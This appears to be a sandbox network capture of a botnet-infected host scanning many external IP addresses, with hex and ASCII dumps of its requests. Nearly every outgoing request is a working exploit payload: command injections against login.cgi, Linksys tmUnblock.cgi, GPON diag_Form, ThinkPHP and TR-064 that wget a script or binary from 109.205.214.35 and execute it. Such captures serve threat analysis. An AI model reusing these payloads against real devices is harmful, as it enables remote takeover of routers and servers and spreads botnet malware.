3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.14	33628	212.183.88.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:57.240926027 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:57.733319044 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:57.820514917 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Thu, 21 Mar 2024 04:21:57 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.14	56642	184.150.175.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:57.261467934 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:57.371742964 CET	298	IN	HTTP/1.1 500 Domain Not Found Server: Varnish Retry-After: 0 content-type: text/html Cache-Control: private, no-cache connection: keep-alive X-Served-By: cache-bm-ytz20129-BM-YTZ Content-Length: 227 Accept-Ranges: bytes Date: Thu, 21 Mar 2024 04:21:57 GMT Via: 1.1 varnish
Mar 21, 2024 05:21:57.371815920 CET	239	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 61 73 74 6c 79 20 65 72 72 6f 72 3a 20 75 6e 6b 6e 6f 77 6e 20 64 6f 6d 61 69 6e 20 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 3e 46 61 73 74 Data Ascii: <html><head><title>Fastly error: unknown domain </title></head><body><p>Fastly error: unknown domain: . Please check that this domain has been added to a service.</p><p>Details: cache-bm-ytz20129-BM-YTZ</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.14	47510	212.129.57.201	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:57.310534000 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:57.470232964 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:21:57 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.14	33444	172.65.94.34	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:57.499111891 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.14	60850	212.3.223.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:57.666891098 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:58.273469925 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:59.489816904 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:01.921395063 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:06.782519102 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:16.510108948 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:35.965358019 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.14	58422	88.247.62.150	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:57.701683044 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.14	38918	212.94.24.135	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:57.722870111 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:58.016618013 CET	516	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Wed, 18 Aug 2021 20:13:06 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.14	51886	192.81.212.86	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:57.882586956 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:58.155071020 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:58.245109081 CET	626	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 21 Mar 2024 04:21:58 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.14	60396	212.86.54.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.089421034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.14	57518	178.77.186.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.089473963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.14	42012	2.251.106.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.089493036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.14	48068	94.157.230.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.089504957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.14	35854	2.76.180.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.089566946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.14	55052	2.225.248.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.089596987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.14	54346	79.239.73.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.089622974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.14	41800	42.28.102.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.089631081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.14	44844	46.6.13.163	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.304579020 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
